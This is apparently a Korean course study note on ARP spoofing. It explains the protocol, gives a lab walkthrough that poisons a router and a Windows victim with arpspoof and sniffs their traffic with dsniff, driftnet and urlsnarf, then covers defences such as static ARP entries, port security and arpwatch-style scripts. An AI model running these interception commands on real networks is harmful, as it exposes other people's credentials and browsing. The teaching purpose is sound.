본문 바로가기

Learning/└◆Network Hacking

Internet Layer ARP Spoofing [TCP/IP Model]

 

 

Internet Layer ( ICMP/IGMP, IP(IPv4/IPv6), ARP/RARP)

 

IP Spoofing

 

 

 

ARP Poisoning

 

 

 

ARP(Address Resolution Protocol) 프로토콜은 네트워크 상에서 IP 주소를 MAC 주소와 대응하기 위해 사용된다.

예를 들어, IP 호스트 AIP 호스트 B에게 IP 패킷을 전송하고자 할 때 IP 호스트 BMAC 주소를 모르는 경우, ARP 프로토콜을 사용하여 목적지 IP 주소 B와 브로드캐스팅 물리적 네트워크 주소 FFFFFFFFFFFF를 가지는 ARP 패킷을 네트워크 상에 전송한다.

IP 호스트 B는 자신의 IP주소가 목적지에 있는 ARP 패킷을 수신하면 자신의 MAC 주소를 A에게 응답한다.

이와 같은 방식으로 수집된 IP주소와 이에 해당하는 MAC 주소 정보는 각 IP 호스트의 ARP Cache라불리는 메모리에 데이블 형태로 저장된 후 다음 패킷 전송시에 다시 사용된다.

원격의 공격자는 알려진 IP에 대해 잘못된 MAC 주소를 계속 발생시켜 ARP cache가 잘못된 정보를 저장하도록 하여 로컬네트워크 상에서 서비스 거부 공격을 발생시킨다.

 

[참고] 속이기(Spoofing)

스푸핑(Spoolfing)이란 속이다라는 의미이다.

IP주소, 호스트이름, MAC 주소등 여러가지를 속일수 있으며, 스푸핑은 이런 속임을 이용한 공격을 총칭하는 명령이다.

ARP 스푸핑, IP 스푸핑, DNS 스푸핑, DHCP 스푸핑등이 있다.

인터넷이나 로컬에서 존재하는 모든 연결에 스푸링이 가능하며, 정보를 얻어내는 것 외에도 시스템을 마비시키는 것도 가능하다.

흔히 일어나는 IP 충돌 문제 역시 고의가 아닌 IP 스푸핑이라고 생각할 수도 있다.

 

[참고] 스푸핑에 대해서

ARP Spoofing :

IP Spoofing :

DNS Spoofing :

DHCP Spoofing:

 

 

 

ARP Spoofing

로컬에서 통신하고 있는 서버와 클라이언트의 IP 주소에 대한 2계층 MAC 주소를 공격자의 MAC 주소로 속여 클라이언트가 서버로 가는 패킷이나 서버에서 클라이언트로 가는 패킷을 중간에서 가로채는 공격이다.

공격자는 이 패킷을 읽고 확인한 후 정상적인 목적지로 향하도록 다시 돌려 보내 연결이 끊어지지 않고 연결되도록 유지한다.

 

----------+-------------+-------------+--------------

          |             |             |

        HostA         Hacker        HostB

        - IP1          - IP2         - IP3

        - MAC1        - MAC2         - MAC3

중간에서 MAC 주소를 변경하여 패킷을 얻을 수 있다. (다른공격을 하기위한 전초작업)

HostA 와 HostB 에게 계속적인 신호 전송    (패킷상에 오버헤드가 심해 네트워크가 느려진다.)

IP fowding기능을 통한

 

* Ethernet Hub

* Ethernet Switch

 

 

 

ARP Spoofing

[ Address Resolution Protocol Spoofing ]

주소 결정 프로토콜(ARP) 캐시 메모리를 변조시켜 공격 대상의 MAC 주소를 자신의 컴퓨터의 MAC 주소로 변경하면 모든 데이터가 자신의 컴퓨터로 모니터링이 가능한 공격 기법. 과거에 해커는 유명한 웹 서버 자체를 공격해 악성 코드 경유지로 활용했다. 그러나 웹 서버 보안이 강화되자, 네트워크의 서브넷 내에 침투해 ARP 위장 패킷으로 해당 서브넷 내의 PC들을 감염시키는 기법이다. 어떤 시스템ARP 위장 기능을 가진 악성 코드가 설치되면 약간의 조작으로 동일 구역 내의 다른 시스템에 쉽게 악성 코드가 설치될 수 있다.

 

 

 

[실습] ARP 스푸핑을 실습

   

 ARP_Spoofing실습.hwp

 

 

 

[토론] ARP 스푸핑을 막을 수 있는 방법에 대해서

/etc/rc.local + /root/bin/arp.sh

arpwatch.sh

 

 ARP_Spoofing을_막을_수_있는_방법에_대해서.hwp

 

 

 

 

ARP 스푸핑 실습

 

 

 

 

 

 

 

 

# nmap -F 192.168.20.0/24 -F (fast scan / 네트워크 대역의 열려있는 전체 포트 리스트)

 

 

 

 

IP Fowarding 임시적 on 상태 

 

 

 

 

 

 

 

 

 

 

 

kali 에서 linux200 으로 패킷 전송

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

잘못된 MAC 으로 통신하는 과정

 

 

 

 

 

 

dsniff -i eth1 -t 23/tcp=telnet host 192.168.20.200

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

4. 실습(시나리오 2)

 

192.168.20.100 192.168.20.50 192.168.20.201

------ Router ------------------+------------+---

(firewall) | |

Kali window2008

attacker victim

 

(win2008 서버에서) IPMAC 주소를 확인한다.

 

(선수작업)

c:> arp -d 192.168.20.50

c:> arp -d 192.168.20.100

c:> arp -d 192.168.20.200

 

c:\> ipconfig

c:\> arp -a

c:\> ipconfig /all

 

(Firewall) 라우터쪽에서 ARP cache table 내용을 확인한다.

# arp -an

#

 

(win2008 서버에서) google에 접속 시켜 놓는다.

웹브라우저를 실행하여 google 사이트에 접속한다.

- (chrome 브라우저) http://www.google.co.kr

 

(KaliLinux에서) 네트워크의 서버/라우터를 확인하고 ARP Spoofing을 시도한다.

 

(선수작업)

# arp -d 192.168.20.200 /* 192.168.20.0/24 대역을 모두 삭제한다. */

# arp -d 192.168.20.201

# arp -an | grep -v incomplete

 

# nmap -F 192.168.20.0/24

-> 192.168.20.100

-> 192.168.20.201

 

# echo 1 > /proc/sys/net/ipv4/ip_forward

# cat /proc/sys/net/ipv4/ip_forward

 

[TERM1] # wireshark &

[TERM2] # arpspoof -i eth1 -t 192.168.20.100 192.168.20.201

-> 패킷 확인

[TERM3] # arpspoof -i eth1 -t 192.168.20.201 192.168.20.100

-> 패킷 확인

 

(Firewall) 라우터에서 변조된 정보를 확인한다.

# arp -an

-> 잘못된 MAC 확인

 

(win2008에서) 변조된 정보를 확인한다.

c:\> arp -a

-> 잘못된 MAC 확인

 

(KaliLinux에서)

두개의 창을 띄워 놓는다.

[TERM1] # driftnet -i eth1

-> 자동으로 창이 하나 뜬다.(이 안에 클라이언트가 요청하는 이미지가 보인다.)

[TERM2] # urlsnarf -i eth1

 

[TERM3] # firefox &

# webspy -i eth1 192.168.20.201

-> firefox에 구글 페이지가 보이는 것을 확인할 수 있다.

 

(win2008 서버에서) 구글 검색을 진행한다.

www.google.co.kr -> www.facebook.com -> www.daum.net -> www.naver.com

-> 여러가지 검색해 본다.

-> [dirftnet 명령어 창] 이미지 같은 것을 검색(상단 이미지 선택)

-> [firefox ] 클라이언트의 웹 환경이 보인다.

 

(주의) 20160404일 현재 webspy 정상적으로 동작이 되지 않는다.

 

 

(복원) 실습이 완료되면 모든 설정을 복원한다.

(firewall)

(linux200)

(win2008)

(KaliLinux)

 

 

 

5. 추가적인 실습

 

윈도우쪽에서 ARP Spoofing 공격을 하기 위해서는 다음과 같은 툴을 사용한다.

- Winarpspoofer 0.5.4

- Winpcap 3.1

 

 

4. 참고 URL

 

http://www.youtube.com/watch?v=gNrh5VRkWZ0

http://www.youtube.com/watch?v=q-mUKGumO7g

 

 

 

 

 

 

 

(주의) 20160404일 이후 webspy 정상적으로 동작이 되지 않는다.

 

 

 

 

ARP 스푸핑을 막을 수 있는 방법

 

 

static arp table으로 설정

ARP Table은 자동(Dynamic)과 수동(Static)으로 설정이 가능하다.

수동으로 설정할 경우 ARP Cache Table의 정보를 변조하지 못한다. (rpa -s IP MAC)

다만 이중 게이트웨이가 네트워크에 존재할 시에는 사용할 수 없다. 또한 네트워크 변경시 수동으로 바꾸어야 하는 불편함이 있다.(자동설정은 자동으로 GatewayMAC 주소가 설정된다.)

 

Static 단점 - 장비 교체 혹은 포트 변경시 MAC Adress 가 틀려져서 통신이 안된다.

 

네트워크 장비에서 방어

시스코 장비의 Port Security 기능을 사용하여 각각의 포트에 물리적인 MAC 주소를 정적(static)으로 설정한다. Port Security는 대부분의 스위치에서 제공하는 기능으로, 스위치의 각 포트별로 MAC 주소를 정적(static)으로 설정하여, 설정된 MAC 주소만 해당 포트를 통해 통신을 허용되도록 할 수 있다. 이기능을 이용할 경우 스위치 환경에서 arp를 위조하여 스니핑하거나 네트워크를 다운시키는 서비스 거부(DoS)와 같은 형태의 공격을 차단하는데 효과적이다. Port Security를 이용하면 다음과 같은 기능을 구현할 수 있다.

스위치의 각 포트별로 허용된 MAC 주소를 지정할 수 있다.

특정한 MAC 주소를 가진 트래픽을 스위치에서 차단할 수 있다.

각 포트별로 허용 가능한 MAC 수를 지정하여 이 수치를 초과할 경우 초과된 MAC 주소는 더 이상 통신이 되지 않도록 차단 설정하거나 해당 포트를 아예 일정 시간 동안 또는 영구적으로 shutdown 하도록 설정 할 수 있다.

 

단말기가 고정이 되지 않는 이상 문제를 해결할 방안이 없다.

 

 

 

2. 네트워크 관리자의 대응법

 

감염 대상 파악

가장 중요한 것이 주 감염원을 파악하는 것이다. ARP 스푸핑이 처음 발견되면 빠른 시간내에 MAC 주소를 모니터링 해서 주 감염원을 찾고 네트워크 라인을 네트워크에서 제거한다. PC 하나의 MAC 주소에 두개 이상의 IP를 가지고 있다면 해당 MAC 주소의 장비를 검사해야 한다.(게이트웨이의 IP를 가지려는 MAC 주소의 장비를 필히 확인한다.)

 

모든 하위 네트워크 상의 PC를 치료

모든 PC에 대해 최신 버전의 백신으로 치료를 수행하고 주 감염 PC는 자료를 백업한 후 운영체제를 재설치하도록 권고한다.

 

장비 재정비

네트워크 장비에서 ARP를 정리하기 위해 자동/수동으로 장비들을 리셋한다.

 

 

3. 향후 예방 조치

 

게이트웨이 장비에 수동으로 ARP Table을 할당하고 IP나 장비가 바뀔 때마다 직접 등록하여 변종 ARP Spoofing 발생에 대비하여 꾸준히 관리하는 것도 좋은 방법이다.

 

4. 참고

 

KISA ARP Spoofing 사고 보고서

arpwatch 툴 사용

(RedHat 계열) # yum -y install arpwatch

(Debian 계열) # apt-get -y install arpwatch

(윈도우 계열) 다음 사이트에서 윈도우용 다운로드

- http://www.irongeek.com/i.php?page=security/decaffeinatid-simple-ids-arpwatch-for-windows

 

arpwatch 툴 사용 arp 패킷 분석 여부 확인 툴

https://www.linux.co.kr/home/lecture/index.php?cateNo=&secNo=&theNo=&leccode=10955

 

 

 

5. 실습

 

[실습1] static 하게 ARP Cache Table에 라우터의 MAC 주소를 등록하는 프로그램을 제작 해 보자.

 

 

 

 

사용시스템

- linux200

 

 

(linux200)

 

Static 하게 ARP Caching TableRouterMAC 주소를 등록한다.

 

# mkdir -p /root/bin

# cd /root/bin

# vi arp.sh

#!/bin/bash

 

ROUTER_IP=192.168.20.100

 

ping -c 1 $ROUTER_IP > /dev/null 2>&1             

if [ $? -eq 0 ] ; then

         MAC=`arp -an | grep $ROUTER_IP | awk '{print $4}'`         MACadress 출력

         arp -s $ROUTER_IP $MAC

fi

 

# chmod 700 arp.sh

# vi /etc/rc.local

#!/bin/sh

#

# This script will be executed *after* all the other init scripts.

# You can put your own initialization stuff in here if you don't

# want to do the full Sys V style init stuff.

 

touch /var/lock/subsys/local

 

#

# Sfecific Configuration

#

/root/bin/arp.sh                  부팅하면서 실행

 

# arp -d 192.168.20.100

# reboot

 

시스템이 부팅이 된 이후에 arp caching table의 내용을 확인하다.

# arp -an

 

[참고] /etc/ethers

 

# ls -l /etc/ethers

-> 기본적으로 존재하는 파일이 아니다.

-> 실무에서 이 파일을 사용하는 것을 권장하지는 않는다.(개인적인 의견)

 

# vi /etc/ethers (# arp -f /etc/ethers)

---------------------

08:00:20:00:61:CA router1

08:00:20:00:61:CA win2008

08:00:20:00:61:CA win7

---------------------

---------------------

08:00:20:00:61:CA 192.168.10.2

08:00:20:00:61:CA 192.168.20.201

08:00:20:00:61:CA 192.168.20.202

---------------------

1개의 MAC 가상체계 에서 가능

 

 

[실습2] arpwatch 프로그램을 제작해 보자.

 

(linux200)

 

# cd /root/bin

# vi arpwatch.sh

#!/bin/bash

 

START=200

END=202

NET=192.168.20

LOG=/var/log/arpwatch.log

 

while [ $START -le $END ]

do

      ping -c 1 $NET.$START >/dev/null 2>&1

      START=`expr $START + 1`

done

 

arp -an > /root/work/arp.txt 2> /dev/null

MACCOUNT=`sort /root/work/arp.txt | \

          awk '{print $4}' | \

          grep -v incomplete | \

          uniq -d | \

          wc -l`

 

if [ $MACCOUNT -ge 1 ] ; then

   echo -e "TIME: `date` - ARP Spoofing now.\t\t[ WARN ]" >> $LOG

else

   echo -e "TIME: `date` - No ARP Spoofing now.\t\t[ OK ]" >> $LOG

fi

 

rm -f /root/work/arp.txt

 

 

# crontab -e

분 시 일 월 요일 CMD

* * * * * nohup /root/bin/arpwatch.sh &

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

재부팅후 arp -an 결과

 

 

[ 정리 ]